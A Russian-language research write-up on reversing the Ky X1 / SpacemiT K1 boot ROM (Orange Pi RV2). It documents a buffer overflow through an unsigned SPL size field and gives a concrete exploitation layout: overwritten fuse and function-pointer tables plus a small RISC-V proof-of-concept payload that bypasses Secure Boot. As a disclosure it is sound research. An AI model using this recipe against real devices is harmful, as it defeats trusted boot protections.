
Так уж повелось, что в Positive Labs исследованиями одноплатных платформ чаще всего занимаюсь я. Задачи при этом бывают разными: где-то нужно включить Secure Boot или Encrypted Boot, где-то — наоборот, проверить устойчивость этих механизмов к атакам.
Поводом для этой статьи стала обнаруженная уязвимость в чипе Ky X1 – сердце одноплатника Orange Pi RV2, вышедшего в 2025 году. Уязвимость по праву можно назвать учебной – она простая, а процесс её поиска и эксплуатации – прямолинейный, без сложных трюков и неожиданных поворотов. На её примере разберём, как в подобных устройствах реализуются механизмы доверенной загрузки, где именно возникают слабые места и каким образом подобные ошибки могут быть обнаружены и проэксплуатированы.
Процесс исследования можно формализовать. Сначала — попытка найти документацию в открытом доступе. Затем — закономерное разочарование: подробностей о включении механизмов безопасности нет. Как всегда, эта часть описывается в закрытых документах, доступ к которым могут получить не только лишь все.
В итоге остаётся единственный путь — реверс. Приходится разбирать прошивку, анализировать ROM и буквально по крупицам восстанавливать логику работы: как включается Secure Boot, какие биты за это отвечают, и в каком порядке должна происходить инициализация.
В общем, принцип «без бумажки – ты букашка» здесь работает на все 100% — реверсить приходится всегда. Зато в качестве бонуса после такого исследования ты начинаешь понимать про Secure Boot на конкретной платформе почти всё.
Secure Boot: а нужен ли?
«Первым делом включаем Secure Boot» — но зачем?

Одноплатные компьютеры часто используются в устройствах вне дома, а значит, могут попасть в чужие руки — вместе с картой памяти. И проблема тут не столько в потере железа, сколько в утечке данных: на носителе могут остаться логи перемещений, ключи доступа к инфраструктуре и другие чувствительные данные. Поэтому носитель информации стоит шифровать (ВСЕГДА!).
Но возникает другая задача — как сохранить возможность быстрой загрузки без ввода пароля. В идеале для этого нужен Encrypted Boot (хранение прошивки в зашифрованном виде с расшифровкой непосредственно перед запуском) вместе с Secure Boot (криптографическая проверка отсутствия изменений в прошивке), однако даже один Secure Boot уже позволяет заметно повысить безопасность устройства.
Объект исследования
На этот раз подопытным стал Orange Pi RV2 на базе чипа Ky X1, новая архитектура RISC-V, плата от известного производителя - звучит очень вкусно.

Плата довольно интересная, есть два Ethernet-порта, встроенный NPU, два слота для NVMe SSD. Но на данный момент нас больше всего интересует, как она запускается. При подаче питания стартует ROM, который может запускать SPL с SPI-flash, eMMc или SD-card.
В отличие от большинства SoC, используемых в одноплатных компьютерах, в Ky X1 применяется архитектура RISC-V, а не привычная ARM. Казалось бы, открытая архитектура должна упрощать жизнь исследователю, но на практике это почти не помогает: в доступной документации только заявлено наличие Secure Boot, но про то, как он устроен и как его включить, нет ни слова.

А значит, ничего нового — придётся идти самым надёжным путём. Если документации нет, её нужно сделать – реверсим и пишем заметки.
Получение ROM
Первым делом надо понять “куда его ревёрсить”. В таблице address mapping из мануала на очень похожий чип (позже мы убедились, что это один и тот же чип под разными названиями) нам оставили подсказку: сказано, что ROM лежит с 0xFFE00000 по 0x100000000.

Дело остаётся за малым. Orange Pi build умеет собирать U-Boot под нашу плату, значит, можно попробовать научить собранный u-boot дампить ROM. Для этого ищем один из первых вызовов printf и добавляем вывод ROM в UART. Я решил, что подходящим местом будет функция show_board_info.
// патч int __weak show_board_info(void) { if (IS_ENABLED(CONFIG_OF_CONTROL)) { // some lines omitted for clarity if (model) printf("Model: %s\n", model); //BEGIN patch //dump ROM printf("Rom: \n"); unsigned char * rom=(unsigned char*) 0xFFE00000; for( int i=0x0000;i<0x20000;i+=0x10){ printf(" %08X: ",i); for (int j=0;j<0x10;++j){ printf("%02x ",rom[i+j]); } printf("\n"); } //END patch } return checkboard(); }
Компилируем пропатченный SPL, записываем его на SD-карту, запускаем и видим что-то похожее на код. Для надёжности прогоняем минимум три раза и сравниваем полученные двоичные файлы – у меня дампы совпали, значит можно продолжать.
// дампим ROM U-Boot 2022.10ky (Aug 18 2025 - 11:16:02 +0000) [ 0.947] CPU: rv64imafdcv [ 0.949] Model: ky x1 orangepi-rv2 board [ 0.953] Rom: [ 0.955] 00000000: 81 40 01 41 81 41 01 42 81 42 01 43 81 43 01 44 [ 0.961] 00000010: 81 44 01 45 81 45 01 46 81 46 01 47 81 47 01 48 [ 0.968] 00000020: 81 48 01 49 81 49 01 4a 81 4a 01 4b 81 4b 01 4c [ 0.975] 00000030: 81 4c 01 4d 81 4d 01 4e 81 4e 01 4f 81 4f 73 25 [ 0.981] 00000040: 40 f1 97 02 00 00 93 82 a2 09 73 90 52 30 73 10 [ 0.988] 00000050: 40 30 97 91 a3 c0 93 81 e1 bb 17 01 a4 c0 13 01 [ 0.995] 00000060: 61 fa 37 45 0d 00 1b 05 35 28 32 05 13 05 05 c2 [ 1.001] 00000070: 0c 41 93 f5 05 02 89 ed 79 65 1b 05 35 0c 3e 05 [ 1.008] 00000080: 31 05 0c 41 85 89 89 c5 1b 05 10 18 5e 05 02 85 [ 1.014] 00000090: 17 b5 00 00 13 05 85 bf 97 85 a3 c0 93 85 85 f6 [ 1.021] 000000A0: 13 86 01 86 63 da c5 00 83 32 05 00 23 b0 55 00 [ 1.028] 000000B0: 21 05 a1 05 e3 ca c5 fe 93 82 01 86 17 b3 a3 c0 [ 1.034] 000000C0: 13 03 c3 1a 63 87 62 00 23 b0 02 00 a1 02 e3 cd [ 1.041] 000000D0: 62 fe 01 45 81 45 ef 00 a0 0b 01 00 13 01 81 ee [ 1.047] 000000E0: 06 e0 0a e4 0e e8 12 ec 16 f0 1a f4 1e f8 22 fc [ 1.054] 000000F0: a6 e0 aa e4 ae e8 b2 ec b6 f0 ba f4 be f8 c2 fc
Исследование ROM и поиск Secure Boot
Когда код ROM получен – пришло время его ревёрсить. Проблем с загрузкой его в IDA Pro быть не должно – выбираем Risc-V, “binary file” и создаём сегмент с 0xFFE00000 по 0xFFF00000.
Начать стоит с разборки процесса загрузки SoC от запуска ROM до перехода к коду с внешнего носителя. Все самое интересное будет там. В данном случае ROM оказался небольшим, да и функционала в нём немного. Сперва идёт небольшая инициализация, а затем попытки загрузиться с различных устройств.
// Функция main ROM void __noreturn main() { // инициализация // some lines omitted for clarity init_timer(); // выбор источника загрузки boot_mode32 = get_bootmode(); boot_mode = boot_mode32; // some lines omitted for clarity if ( sd_boot_disabled() || !is_storage(boot_mode) ) { try_boot = boot_mode; } else { if ( boot_mode != SD ) printf("try sd...\n"); try_boot = SD; } // загрузка while ( 1 ) { // some lines omitted for clarity // ... if ( try_boot != SD || boot_mode == SD ) { if ( !load_image(0, "spl", SPL_buffer, try_boot, boot_mode) ) // попытка загрузки SPL { printf("j...\n"); __asm { fence.i } (&SPL_buffer[0x1000])(0, 0, 0); printf("ERROR: Non-reachable code, busy loop...\n"); panic(); } printf("ERROR: Load image failed.\n"); panic(); } // some lines omitted for clarity } // some lines omitted for clarity }
Наиболее прямой способ найти Secure Boot – посмотреть, как ROM загружает SPL с внешнего хранилища. Хороший знак – встретить криптографию, и вот первые её признаки: в функции load_image видны логи со строкой “verify”.
// Строки в функции load_image __int64 __fastcall load_image(__int64 id, char *name, void *addr, boot_modes selected_mode, boot_modes boot_mode) { // some lines omitted for clarity while ( 1 ) { verify_err = verify(addr, readed[0], name); if ( verify_err != -1uLL ) break; if ( is_prod_mode() ) { printf("ERROR: ROM: Failed to verify %s%d\n", name, id & 1); if ( (selected_mode == EMMC || (selected_mode - 3) <= 2) && !retry_flag ) { id = id + 1; retry_flag = 1; goto LOAF_IMG; } PANIC: printf("ERROR: ROM: loadd&verify panic.\n"); // "verify" panic(); } SELECT_NEXT_IMG: printf("ERROR: ROM[debug]: Failed to verify %s%d\n", name, id & 1); // some lines omitted for clarity } if ( verify_err ) goto SELECT_NEXT_IMG; return 0; }
Конечно, это не 100% гарантия Secure Boot - может оказаться простой контрольной суммой, но всё-таки очень похоже на него. Подписываем функцию verify и идём смотреть, как она устроена. Внутри функции в логах встречается ещё множество характерных слов вроде “auth” и “crypto_rsa2048_verify”. Ну теперь-то точно можно говорить, что Secure Boot где-то здесь.
// Строки в функциях verify и crypto_rsa2048_verify __int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name) { // some lines omitted for clarity verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key); if ( !verify_sign_2_err ) return 0; // SB CHECK OK goto AUTH_ERR; // some lines omitted for clarity AUTH_ERR: printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x7D, verify_sign_2_err); printf( "ROM: auth_verify_aimg_data error, %s,Line %d, err %d\n", "drivers/auth/auth.c", 0xA2, verify_sign_err); return -1uLL; // some lines omitted for clarity } __int64 __fastcall verify_sign(char *data, __int64 size, rsa_pubkey *key) { // some lines omitted for clarity rsa_verify_err = crypto_rsa2048_verify(key, &data[header_size], hash); if ( rsa_verify_err ) printf("auth error: %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x4F, rsa_verify_err); return rsa_verify_err; // some lines omitted for clarity } __int64 __fastcall crypto_rsa2048_verify(__int64 N, __int64 end_addr__, unsigned __int8 *hash) { // some lines omitted for clarity printf("%s: ret %x\n", "crypto_rsa2048_verify", -err); // some lines omitted for clarity return err; }
Вообще, можно было поискать строчки вроде “RSA”, “verify”, “signature” в самом начале исследования – они сразу бы привели нас в нужное место. Хотя подход с последовательным анализом процедуры загрузки более универсален – такое разнообразие отладочных выводов в ROM скорее исключение, чем правило. Например, в ROM RK3588 всего две строчки: магическая константа заголовка SPL и версия ROM, которая вообще не используется в коде. В таких случаях криптографию можно попробовать определить по сигнатурам или обращениям к “криптодвижку” – в современных процессорах часто используются аппаратные блоки для ускорения криптографических операций. Адреса регистров этих блоков и то, как ими пользоваться, описывается в документации на чип. Иногда эта часть документации даже доступна в интернете.
Secure Boot
Теперь, когда Secure Boot найден, остаётся его включить. Обычно включение Secure Boot состоит в том, чтобы прошить хэш ключа и флаг включения во фьюзы, но для этого нужно определить их адреса.
Чтобы понять, где находятся нужные фьюзы, снова смотрим в IDA. Очевидно, ROM должен как-то определить, можно ли доверять публичному ключу подписи. Обычно перед проверкой подписи вычисляется хэш публичного ключа и сравнивается со значением из фьюзов. В нашем случае в функции verify вычисляется хэш от первых 0x100 байт образа SPL и сравнивается со значением из фьюзов.
Заодно замечаем ещё одно обращение к фьюзам — судя по всему, это бит включения Secure Boot. Такой механизм тоже довольно распространён.
// Проверка флага Secure Boot и хэша ключа __int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name) { // some lines omitted for clarity // p_eFuse - pointer to memory-mapped eFuse region SB_Flags = p_eFuse->SB_Flags; // p_eFuse + 0xC4 if ( (SB_Flags & 0xE00) == 0 ) // looks like SECURE_BOOT_ENABLE { // some lines omitted for clarity if ( is_prod_mode() ) { err = crypto_hash_256(spl_addr->key.N, 0x100, &hash); // some lines omitted for clarity cmp = memcmp(&hash, p_eFuse->secure_boot_key_hash, 0x20); // p_eFuse + 0x80 // some lines omitted for clarity if ( cmp ){ printf("ROM: auth_verify_tpks error, %s,Line %d, err %d\n", "drivers/auth/auth.c", 0x9B, cmp); return -1uLL; } } // some lines omitted for clarity verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key); // some lines omitted for clarity } // NON SB here // some lines omitted for clarity }
Флаг включения находится по смещению 0xC4, а рисунок ключа – по смещению 0x80. Однако прежде чем шить фьюзы, желательно научиться правильно подписывать бинарь, а не то может получиться, что secure у нас будет, а boot - нет.
Подпись SPL
При поиске Secure Boot и используемых им фьюзов мы уже обнаружили, что для подписи используется RSA-2048 и SHA-256, а публичный ключ расположен в первых 256 байтах прошивки. Теперь остаётся определить границы областей SPL, для которых проверяются подписи или хэши.
Ответ на этот вопрос стоит искать в приватной документации или декомпилированной функции verify.
// Вызовы функции verify_sign в функции verify unsigned __int64 __fastcall verify(spl *spl_addr, __int64 size, unsigned __int8 *name) { // some lines omitted for clarity verify_sign_1_err = verify_sign(&spl_addr->header, 0xB00, &spl_addr->key); if ( !verify_sign_1_err ) { // some lines omitted for clarity key_num = spl_addr->header.deffaul_key_num; for (int i=0; i < header.key_table_size; ++i) { if ( !strcmp(name, header.key_table[i].name) ) { key_num = spl_addr->header.key_table[i].key_num; break; } } key = &spl_addr->header.binary_keys[key_num]; // some lines omitted for clarity verify_sign_2_err = verify_sign(&spl_addr->binary_header, alligned_binary_size, key); if ( !verify_sign_2_err ) return 0; // SB CHECK OK // some lines omitted for clarity } // some lines omitted for clarity }
Видно, что у SPL проверяется две подписи: одна - для заголовка, другая - для исполняемого кода. Разбор этой функции позволяет приблизительно восстановить структуру заголовков SPL.
// Структура SPL struct spl // sizeof=0x1000;variable_size { rsa_pubkey key; // 0x0000 spl_header header; // 0x0100 char header_sign[256]; // 0x0B00 char _[992]; // 0x0C00 spl_binary_header binary_header; // 0x0FE0 char binary_and_sign[]; // 0x1000 Размер задаётся в binary_header.size }; struct __fixed(0xA00) spl_header // sizeof=0xA00 { int magic; // 0x000 char arb_version; // 0x004 char arb_mode; // 0x005 char _[2]; // 0x006 __int64 headers_size; // 0x008 char __[16]; // 0x010 int deffaul_key_num; // 0x020 int key_table_size; // 0x024 key_table_entry key_table[20]; // 0x028 char some_hash[32]; // 0x1B8 char ___[40]; // 0x1D8 rsa_pubkey binary_keys[8]; // 0x200 }; struct __fixed(0x14) key_table_entry // sizeof=0x14 { char name[16]; // 0x00 int key_num; // 0x10 }; struct __fixed(0x20) spl_binary_header // sizeof=0x20 { int magic; // 0x0 char arb_version; // 0x4 char arb_mode; // 0x5 char _[2]; // 0x6 __int64 size; // 0x8 char __[16]; // 0x10 };
Привлекает внимание тот факт, что размер SPL не фиксирован, при этом образ читается сразу целиком. Значит, либо где-то захардкожен максимальный размер SPL, либо где-то должен быть ещё один заголовок, и по-хорошему – ещё одна проверка подписи. Однако дополнительных вызовов функции crypto_rsa2048_verify, кажется, больше не видно…
Бага
Разбираемся, как ROM определяет, сколько байт нужно считать с носителя перед проверкой подписи SPL. Смотрим, откуда берётся размер прошивки и обнаруживаем функцию чтения bootinfo. Изучив функции чтения и обработки, восстанавливаем структуру bootinfo. Оказывается, что это и есть заголовок с размером образа SPL, но он накрыт только CRC32.
// BootInfo 00 f0 14 07 b0 |..../ Magick (0xB007_14F0) 04 01 00 01 00 /..../ Version (0x10001) 08 53 44 43 00 00 00 00 00 /SDC.....| Boot SRC (SD-card) 10 00 02 00 00 00 00 01 00 00 00 00 10 00 00 00 00 |................| ??? 20 00 00 02 00 |..../ IMG 0 offset (0x20000) 24 00 00 08 00 /..../ IMG 1 offset (0x80000) 28 00 60 03 00 /.`../ IMG size (0x36000) 2C 00 00 00 00 /....| IMG 2 offset (0x0) 30 00 00 00 00 |..../ IMG 3 offset (0x0) 34 00 00 00 00 00 00 00 00 00 00 00 00 /............| ??? 40 4d f8 cc 36 |M..6| CRC32 (valid)
Теперь ясно откуда берётся размер прошивки, но оказывается, он не защищён от модификации (не подписан). А раз есть какие-то параметры, которыми может манипулировать хакер, нужно проверить, что любые их значения будут корректно обрабатываться. В нашем случае следует убедиться, что в функции чтения прошивки предусмотрена защита от переполнения буфера.
// А я вам покажу откуда на SecureBoot готовилось нападение __int64 __fastcall sd_load(unsigned __int64 image_id, unsigned __int64 skip, void *dst, _QWORD *read_size) { unsigned int offset; // a5 unsigned __int64 max_skip; // a6 __int64 size; // a2 unsigned int offset_pages; // a3 __int64 read_offset; // a0 __int64 result; // a0 if ( image_id <= 1 ) // image_id==0 on first try { offset = load_info.img0_start; if ( image_id ) offset = load_info.img1_start; size = load_info.img_size; // size from boot_info, can be modified by attacker max_skip = load_info.img1_start - load_info.img0_start; } else { if ( (image_id - 2) > 1 ) { printf("ERROR: get_file_info: invalid image_id (%d)\n", image_id); size = 0; sd_offset_size = 0; sd_max_skip = 0; read_offset = 0; goto DO_SD_READ; } offset = load_info.img2_start; if ( image_id != 2 ) offset = load_info.img3_start; max_skip = load_info.img3_start - load_info.img2_start; size = 0x800; // image_id==2 || image_id==3 is safe } sd_offset_size = ((offset >> 9) | (size << 0x20)); sd_max_skip = max_skip; offset_pages = offset >> 9; read_offset = offset >> 9; if ( skip < max_skip ) { read_offset = (((skip + 0x1FF) >> 9) + offset_pages); sd_offset_size = ((((skip + 0x1FF) >> 9) + offset_pages) | ((size - skip) << 0x20)); size = size - skip; // skip==0, size unchanged } DO_SD_READ: // !!! no verification size<=buffer_size // !!! sd_read can overflow buffer and overwrite RAM result = sd_read(read_offset, dst, size); // read data from SD // reads size bytes to dst // no buffer size check inside if ( !result ) *read_size = sd_offset_size.size; return result; }
Так как наша плата загружается с SD-карты, рассмотрим функцию загрузки с SD. В функции sd_read есть два сценария. Первый — «безопасный»: если image_id равен 2, то size всегда будет 0x800, что не вызовет переполнения. Если же image_id равен 0 или 1, размер берётся из заголовка без каких-либо дополнительных проверок.
Image_id – это первый аргумент функции load_image, если посмотреть на её вызов, то можно увидеть, что в нашем случае он равен 0. А это явная возможность переполнить буфер.
Теперь остаётся понять, что именно можно перезаписать с помощью такого переполнения.
Эксплуатация
Буфер под SPL выделен статически и находится по адресу 0xC0800000. Согласно мануалу, это самое начало сегмента AUDIO SRAM (0xC0800000-0xC0840000). Очевидно, что на столь раннем этапе загрузки аудиоподсистема ещё не инициализирована, поэтому этот участок памяти используется для других целей.
Другие адреса, встречающиеся в коде, тоже попадают в этот сегмент; похоже, что на данном этапе загрузки вся оперативная память ROM находится в этом сегменте. В начале ROM видно, что в конце сегмента размещён стек, что выглядит как потенциальная возможность для code execution. Однако в таком случае придётся перезаписать значительную часть памяти, что существенно усложняет восстановление контекста.
Может быть, есть способ проще? Посмотрим, что есть поближе. Минимальный встреченный адрес оказался 0xC0838000 – получается размер буфера 0x38000. Учитывая, что размер штатного SPL 0x36000, такой буфер выглядит правдоподобным. Следующие 0x470 байт копируются из ROM.
# Инициализация памяти при запуске ROM sub_FFE00000: # some lines omitted for clarity la gp, 0xC0838C10 la sp, 0xC0840000 # stack grows from 0xC0840000 # some lines omitted for clarity CPY_ROM: la a0, 0xFFE0AC88 # memcpy(0xC0838000,0xFFE0AC88,0x470); la a1, 0xC0838000 # lowest used address after SPL-buffer la a2, 0xC0838470 bge a1, a2, CLEAR_RAM CPY_ROM_LOOP: ld t0, 0(a0) sd t0, 0(a1) addi a0, a0, 8 addi a1, a1, 8 blt a1, a2, CPY_ROM_LOOP CLEAR_RAM: la t0, 0xC0838470 # memset(0xC0838470,0,0x2df8); la t1, 0xC083B268 beq t0, t1, JMP_CORE CLEAR_RAM_LOOP: sd zero, 0(t0) addi t0, t0, 8 blt t0, t1, CLEAR_RAM_LOOP JMP_CORE: li a0, 0 li a1, 0 jal main
Среди них встречается много полезного – например, по адресу 0xC0838410 лежит указатель на memory-mapped зону фьюзов. Тут уже явно пахнет обходом Secure Boot – меняем указатель на фьюзы так, чтобы он попал в какое-нибудь место в буфере SPL, а там имитируем выключенное состояние SecureBoot или меняем хэш ключа на свой. Для восстановления контекста достаточно просто скопировать данные из ROM. Однако есть нюанс: чтение идёт постранично, соответственно, размер считываемого буфера должен быть кратен 0x200. То есть придётся восстановить ещё и кусок 0xC0838470-0xC0838600. На первый взгляд там лежит много всего.
# Перезаписываемый участок, по-хорошему. нужно вернуть в исходное состояние SRAM:C0838470 byte_C0838470: .block 10h # DATA XREF: sub_FFE00000+A0↓o SRAM:C0838470 # sub_FFE00000:loc_FFE000B8↓o SRAM:C0838480 qword_C0838480: .block 8 # DATA XREF: init_timer:loc_FFE01548↓w SRAM:C0838480 # sub_FFE015A4:loc_FFE015F0↓r SRAM:C0838488 qword_C0838488: .block 8 # DATA XREF: init_timer+2C↓w SRAM:C0838488 # init_timer+70↓w ... SRAM:C0838490 # UART_PHY *P_uart SRAM:C0838490 P_uart: .block 8 # DATA XREF: init_UART+C↓w SRAM:C0838490 # uart_tx_char+2↓r ... SRAM:C0838498 # load_dev_funcs *LDF SRAM:C0838498 LDF: .block 8 # DATA XREF: setup_device+1E↓o SRAM:C0838498 # setup_device:loc_FFE017AC↓r ... SRAM:C08384A0 byte_C08384A0: .block 1 # DATA XREF: sub_FFE01A60+1C↓o SRAM:C08384A0 # sub_FFE01A60+20↓r ... SRAM:C08384A1 .block 7 SRAM:C08384A8 # spl *load_addr SRAM:C08384A8 load_addr: .block 8 # DATA XREF: verify+22↓o SRAM:C08384A8 # verify+2A↓w ... SRAM:C08384B0 sys_reg: .block 4 # DATA XREF: get_bootmode+4↓o SRAM:C08384B0 # get_bootmode+8↓r ... SRAM:C08384B4 dword_C08384B4: .block 4 # DATA XREF: sub_FFE02596+96↓r SRAM:C08384B4 # emmc_init_card+7C↓w SRAM:C08384B8 qword_C08384B8: .block 8 # DATA XREF: sub_FFE037B6+54↓o SRAM:C08384B8 # sub_FFE037B6+A6↓r ... SRAM:C08384C0 dword_C08384C0: .block 4 # DATA XREF: sub_FFE037B6+42↓o SRAM:C08384C0 # sub_FFE037B6+96↓r ... SRAM:C08384C4 dword_C08384C4: .block 4 # DATA XREF: sub_FFE034CC+42↓w SRAM:C08384C4 # sub_FFE038D0+3A↓o ... SRAM:C08384C8 dword_C08384C8: .block 4 # DATA XREF: sub_FFE034CC+34↓w SRAM:C08384C8 # sub_FFE037B6+4C↓o ... SRAM:C08384CC dword_C08384CC: .block 4 # DATA XREF: sub_FFE03124+14↓o SRAM:C08384CC # sub_FFE03124+18↓r ... SRAM:C08384D0 dword_C08384D0: .block 4 # DATA XREF: fastboot_download+1E↓w SRAM:C08384D0 # sub_FFE03C7E↓r SRAM:C08384D4 dword_C08384D4: .block 4 # DATA XREF: fastboot_download+12↓w SRAM:C08384D4 # sub_FFE03C7E+4↓r SRAM:C08384D8 # int dword_C08384D8 SRAM:C08384D8 dword_C08384D8: .block 4 # DATA XREF: emmc_init_card+AE↓o SRAM:C08384D8 # emmc_init_card+B2↓r ... SRAM:C08384DC dword_C08384DC: .block 4 # DATA XREF: sub_FFE03FBA+4↓o SRAM:C08384DC # sub_FFE03FBA+C↓r ... SRAM:C08384E0 qword_C08384E0: .block 8 # DATA XREF: spi_nand_bootinfo+2↓r SRAM:C08384E0 # spi_nand_setup+1A↓w ... SRAM:C08384E8 qword_C08384E8: .block 8 # DATA XREF: spi_nor_bootinfo+2↓r SRAM:C08384E8 # spi_nor_setup+1C↓w ... SRAM:C08384F0 # __int64 qword_C08384F0 SRAM:C08384F0 qword_C08384F0: .block 8 # DATA XREF: sub_FFE07CDC↓o SRAM:C08384F0 # sub_FFE07CDC+4↓r ... SRAM:C08384F8 # boot_info boot_info SRAM:C08384F8 boot_info: boot_info <?> # DATA XREF: core+5C↓o SRAM:C08384F8 # core+130↓o SRAM:C083853C .block 4 SRAM:C0838540 # load_info load_info SRAM:C0838540 load_info: load_info <?> # DATA XREF: core+122↓o SRAM:C0838540 # core+12C↓o ... SRAM:C0838564 .block 1Ch SRAM:C0838580 # unsigned __int8 hash SRAM:C0838580 hash: .block 20h # DATA XREF: verify_sign+30↓o SRAM:C0838580 # verify_sign+40↓o ... SRAM:C08385A0 .block 60h
Впрочем, обычно нет необходимости восстанавливать всё, главное – починить то, без чего не будет работать. А значит, можно попробовать заполнить всё нулями, а дальше итеративно восстанавливать то, что выглядит важным.
Взгляд цепляется за адрес 0xC0838498 (LDF) – там хранится указатель на структуру с функциями загрузки с различных устройств. Проанализировав функцию load_image, можно увидеть, что если функция verify вернёт ошибку, а 27 бит sys_reg будет нулевым, то плата попробует загрузить образ ещё раз, но на этот раз с id=1. При этом будет произведена попытка чтения с накопителя, причём функция берётся из структуры, на которую указывает LDF.
Это уже выглядит как полноценное выполнение кода в контексте ROM — что заметно интереснее, чем просто обход Secure Boot. Попробуем это осуществить. Напишем простой код и разместим его вместо заголовка SPL.
# payload la a0, string li a5, 0xffe0141a # адрес printf в ROM jalr a5 li a5, 0xffe002e2 # адрес прыжка в SPL в ROM jalr a5 loop: j loop string: .string "Hello Habr!"
Так как LDF – это указатель на массив указателей на функции, нам нужно где-то расположить свой вариант этого массива. Например, в конце “заголовка” SPL (0xC0800EE0). Первым элементом этого массива должен быть адрес нашего кода – 0xC0800000; остальные элементы можно заполнить нулями.
Следующие 0x100 байт (0xC0800F00-0xC0801000) будут изображать фьюзы, их тоже можно оставить пустыми. С 0xC0801000 расположится SPL, с 0xC0838000 по 0xC0838410 – значения скопированные из ROM.
Экспериментально выясняется, что, помимо участка, копируемого из ROM, критически важным оказывается только указатель на аппаратный блок UART.

// запускаем try sd... bm:3 auth error: drivers/auth/auth.c,Line 36, err -1 auth error: drivers/auth/auth.c,Line 53, err -1 auth error: drivers/auth/auth.c,Line 96, err -1 ROM: auth_verify_tpks error, drivers/auth/auth.c,Line 155, err -1 ERROR: ROM[debug]: Failed to verify spl0 Hello Habr! j... U-Boot SPL 2022.10ky (Aug 18 2025 - 11:16:02 +0000) [ 0.141] DDR type LPDDR4X [ 0.149] Enable & config CLK/CA ODT [ 0.161] lpddr4_silicon_init consume 20ms [ 0.162] Change DDR data rate to 2400MT/s
На этом исследование можно завершить. Да, мне не удалось выяснить, как включить Secure Boot на Ky X1. Зато удалось понять, как его обойти — что, по сути, делает его включение бессмысленным. На этой плате сделать что-то доверенное не выйдет.
И не только на ней: уязвимость в ROM этого чипа, судя по всему, затрагивает все устройства на его основе. Позже в мои руки попал ещё один одноплатник на RISC-V — Banana Pi BPI-F3 на похожем чипе SpacemiT K1. Его ROM неотличим от ROM Ky X1, вероятно, это один и тот же чип под разными названиями.
Из этого следует, что полностью доверять устройствам на базе Ky X1 или SpacemiT K1 не стоит. Впрочем, большинству пользователей «апельсины» этот баг не страшен: во-первых, их модель угроз обычно не включает физический доступ; во-вторых, чтобы обойти Secure Boot, его сначала нужно включить — а официальных инструкций по его включению по-прежнему нет.